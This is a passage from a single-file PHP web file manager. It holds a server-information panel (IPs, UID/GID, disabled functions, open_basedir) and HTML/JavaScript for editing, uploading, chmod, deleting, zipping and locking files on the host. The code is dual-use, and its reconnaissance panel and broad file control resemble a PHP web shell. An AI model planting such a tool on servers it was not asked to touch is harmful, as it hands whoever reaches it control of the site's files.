'Server Software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A',
'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A',
'Client IP' => $_SERVER['REMOTE_ADDR'] ?? 'N/A',
'Server Name' => $_SERVER['SERVER_NAME'] ?? 'N/A',
'Document Root' => $_SERVER['DOCUMENT_ROOT'] ?? 'N/A',
'Current Dir' => getcwd(),
'OS' => PHP_OS . ' (' . php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('m') . ')',
'Hostname' => function_exists('gethostname') ? gethostname() : 'N/A',
'Script File' => __FILE__,
'UID / GID' => (function_exists('posix_getuid') ? posix_getuid() : 'N/A') . ' / ' . (function_exists('posix_getgid') ? posix_getgid() : 'N/A'),
'Loaded Ext' => count(get_loaded_extensions()) . ' extensions',
'memory_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max_size' => ini_get('post_max_size'),
'disabled_fns' => ini_get('disable_functions') ?: '(none)',
'open_basedir' => ini_get('open_basedir') ?: '(none)',
];
foreach ($info as $k => $v): ?>
<div style="margin-bottom:14px">
<div class="muted" style="font-size:11px;text-transform:uppercase;letter-spacing:.5px"><?= h($k) ?></div>
<div class="mono" style="margin-top:3px;word-break:break-all"><?= h($v) ?></div>
</div>
<?php endforeach; ?>
</div>
</div>
</div>
</div>
<?php if (isset($_GET['edit'])): $editPath = safe_path($_GET['edit']); if ($editPath && is_file($editPath)): $content = file_get_contents($editPath); $editLocked = is_locked($editPath); ?>
<div class="mt">
<div class="panel">
<div class="editor-head">
<h2>✏️ Editing: <span class="mono"><?= h(basename($editPath)) ?></span> <?php if ($editLocked): ?><span class="badge badge-lock">🔒 LOCKED</span><?php endif; ?></h2>
<a class="btn btn-gray btn-sm" href="?dir=<?= urlencode($rel_dir) ?>">✕ Close</a>
</div>
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="save">
<input type="hidden" name="path" value="<?= h($editPath) ?>">
<textarea class="editor" name="content" spellcheck="false" <?= $editLocked ? 'disabled' : '' ?>><?= h($content) ?></textarea>
<div style="padding:14px 18px;border-top:1px solid var(--border);display:flex;justify-content:flex-end;gap:8px">
<?php if ($editLocked): ?>
<span class="muted" style="align-self:center">File is locked. Unlock it to edit.</span>
<?php else: ?>
<button class="btn btn-green" type="submit">💾 Save Changes</button>
<?php endif; ?>
</div>
</form>
</div>
</div>
<?php endif; endif; ?>
</main>
</div>
<!-- MODALS -->
<div class="modal-bg" id="uploadModal">
<div class="modal">
<h3>⬆ Upload Files</h3>
<form method="post" enctype="multipart/form-data" id="uploadForm">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="upload">
<div class="dropzone" id="dropzone">
<div style="font-size:34px;margin-bottom:8px">📁</div>
<div>Drag & drop files here, or click to browse</div>
<input type="file" name="files[]" id="fileInput" multiple style="display:none">
</div>
<ul class="filelist" id="fileList"></ul>
<div class="mt" style="display:flex;gap:8px;justify-content:flex-end">
<button type="button" class="btn btn-gray" onclick="closeModal('uploadModal')">Cancel</button>
<button type="submit" class="btn btn-green" id="uploadBtn">⬆ Upload</button>
</div>
</form>
</div>
</div>
<div class="modal-bg" id="createModal">
<div class="modal">
<h3>+ Create New</h3>
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="create">
<div class="field">
<label>Type</label>
<select name="type">
<option value="file">File</option>
<option value="dir">Directory</option>
</select>
</div>
<div class="field">
<label>Name</label>
<input type="text" name="name" placeholder="e.g. index.php or uploads" required>
</div>
<div style="display:flex;gap:8px;justify-content:flex-end">
<button type="button" class="btn btn-gray" onclick="closeModal('createModal')">Cancel</button>
<button type="submit" class="btn btn-green">Create</button>
</div>
</form>
</div>
</div>
<div class="modal-bg" id="renameModal">
<div class="modal">
<h3>✏️ Rename</h3>
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="from" id="renameFrom">
<div class="field">
<label>New Name</label>
<input type="text" name="to" id="renameTo" required>
</div>
<div style="display:flex;gap:8px;justify-content:flex-end">
<button type="button" class="btn btn-gray" onclick="closeModal('renameModal')">Cancel</button>
<button type="submit" class="btn btn-green">Rename</button>
</div>
</form>
</div>
</div>
<div class="modal-bg" id="chmodModal">
<div class="modal">
<h3>🔐 Change Permissions</h3>
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="chmod">
<div id="chmodItems"></div>
<div class="field">
<label>Mode (octal)</label>
<input type="text" name="mode" value="0755" required>
<div class="muted" style="font-size:12px;margin-top:6px">e.g. 0755, 0644, 0777</div>
</div>
<div style="display:flex;gap:8px;justify-content:flex-end">
<button type="button" class="btn btn-gray" onclick="closeModal('chmodModal')">Cancel</button>
<button type="submit" class="btn btn-green">Apply</button>
</div>
</form>
</div>
</div>
<div class="modal-bg" id="deleteModal">
<div class="modal">
<h3>🗑 Confirm Delete</h3>
<p class="muted" style="margin-bottom:16px">Are you sure you want to delete the following items? Locked items will be skipped. This cannot be undone.</p>
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="delete">
<div id="deleteItems"></div>
<div style="display:flex;gap:8px;justify-content:flex-end">
<button type="button" class="btn btn-gray" onclick="closeModal('deleteModal')">Cancel</button>
<button type="submit" class="btn btn-red">Delete Permanently</button>
</div>
</form>
</div>
</div>
<div class="modal-bg" id="zipModal">
<div class="modal">
<h3>🗜 Create Archive</h3>
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="zip">
<div id="zipItems"></div>
<div class="field">
<label>Archive Name</label>
<input type="text" name="zipname" value="archive.zip" required>
</div>
<div style="display:flex;gap:8px;justify-content:flex-end">
<button type="button" class="btn btn-gray" onclick="closeModal('zipModal')">Cancel</button>
<button type="submit" class="btn btn-green">Create Zip</button>
</div>
</form>
</div>
</div>
<script>
function openModal(id){document.getElementById(id).classList.add('open')}
function closeModal(id){document.getElementById(id).classList.remove('open')}
document.querySelectorAll('.modal-bg').forEach(m=>m.addEventListener('click',e=>{if(e.target===m)m.classList.remove('open')}));
document.querySelectorAll('.tab').forEach(t=>{
t.addEventListener('click',()=>{
document.querySelectorAll('.tab').forEach(x=>x.classList.remove('active'));
document.querySelectorAll('.tab-content').forEach(x=>x.classList.remove('active'));
t.classList.add('active');
document.getElementById('tab-'+t.dataset.tab).classList.add('active');
});
});
document.getElementById('checkAll').addEventListener('change',e=>{
document.querySelectorAll('.row-check').forEach(c=>c.checked=e.target.checked);
});
async function loadTree(path, el){
try{
const r = await fetch('?ajax=tree&path='+encodeURIComponent(path));
const dirs = await r.json();
if(!Array.isArray(dirs)) return;
const ul = document.createElement('ul');
dirs.forEach(d=>{
const li = document.createElement('li');
const row = document.createElement('div'); row.className='tree-row';
const toggle = document.createElement('span'); toggle.className='tree-toggle';
if(d.child){
toggle.textContent='▸';
toggle.onclick=function(){
const kid=li.querySelector('.tree-children');
if(kid.style.display==='none'){
kid.style.display='';
if(kid.dataset.loaded!=='1'){loadTree(d.path,kid);kid.dataset.loaded='1';}
toggle.textContent='▾';
}else{kid.style.display='none';toggle.textContent='▸';}
};
}else{toggle.innerHTML=' ';}
const link=document.createElement('a');
link.href='?dir='+encodeURIComponent(d.path);
link.textContent='📁 '+d.name;
if('<?= h($rel_dir) ?>'===d.path) link.className='active';
row.appendChild(toggle); row.appendChild(link);
li.appendChild(row);
const kids=document.createElement('div'); kids.className='tree-children'; kids.style.display='none';
li.appendChild(kids);
ul.appendChild(li);
});
el.appendChild(ul);
}catch(e){}
}
document.addEventListener('DOMContentLoaded',()=>{
loadTree('/', document.getElementById('treeChildren'));
});
const dz=document.getElementById('dropzone'), fi=document.getElementById('fileInput'), fl=document.getElementById('fileList');
dz.addEventListener('click',()=>fi.click());
fi.addEventListener('change',updateFileList);
['dragover','dragenter'].forEach(ev=>dz.addEventListener(ev,e=>{e.preventDefault();dz.classList.add('dragover')}));
['dragleave','drop'].forEach(ev=>dz.addEventListener(ev,e=>{e.preventDefault();dz.classList.remove('dragover')}));
dz.addEventListener('drop',e=>{fi.files=e.dataTransfer.files;updateFileList();});
function updateFileList(){
fl.innerHTML='';
Array.from(fi.files).forEach(f=>{
const li=document.createElement('li');
li.innerHTML='<span>'+f.name+'</span><span class="muted">'+(f.size/1024).toFixed(1)+' KB</span>';
fl.appendChild(li);
});
}
function selectedItems(){
return Array.from(document.querySelectorAll('.row-check:checked')).map(c=>c.value);
}
function renameItem(path,name){
document.getElementById('renameFrom').value=path;
document.getElementById('renameTo').value=name;
openModal('renameModal');
}
function chmodItem(path,perm){
document.getElementById('chmodItems').innerHTML='<input type="hidden" name="items[]" value="'+path+'"><p class="mono muted" style="margin-bottom:14px">'+path+'</p>';
openModal('chmodModal');
}
function confirmDelete(path){
document.getElementById('deleteItems').innerHTML='<input type="hidden" name="items[]" value="'+path+'"><p class="mono" style="margin-bottom:14px;color:#fca5a5">'+path+'</p>';
openModal('deleteModal');
}
function bulkDelete(){
const s=selectedItems();
if(!s.length){alert('Select at least one item.');return}
document.getElementById('deleteItems').innerHTML=s.map(p=>'<input type="hidden" name="items[]" value="'+p+'"><p class="mono" style="color:#fca5a5;margin-bottom:6px">'+p+'</p>').join('');
openModal('deleteModal');
}
function bulkAction(type){
const s=selectedItems();
if(!s.length){alert('Select at least one item.');return}
if(type==='chmod'){
document.getElementById('chmodItems').innerHTML=s.map(p=>'<input type="hidden" name="items[]" value="'+p+'"><p class="mono muted" style="margin-bottom:6px">'+p+'</p>').join('');
openModal('chmodModal');
} else if(type==='zip'){
document.getElementById('zipItems').innerHTML=s.map(p=>'<input type="hidden" name="items[]" value="'+p+'"><p class="mono muted" style="margin-bottom:6px">'+p+'</p>').join('');
openModal('zipModal');
} else if(type==='lock' || type==='unlock'){
const f=document.getElementById('bulkForm');
let a=document.getElementById('bulkActionInput');
if(!a){a=document.createElement('input');a.type='hidden';a.name='action';a.id='bulkActionInput';f.appendChild(a);}
a.value=type;
f.submit();
}
}
</script>
<?php endif; ?>
</body>
</html>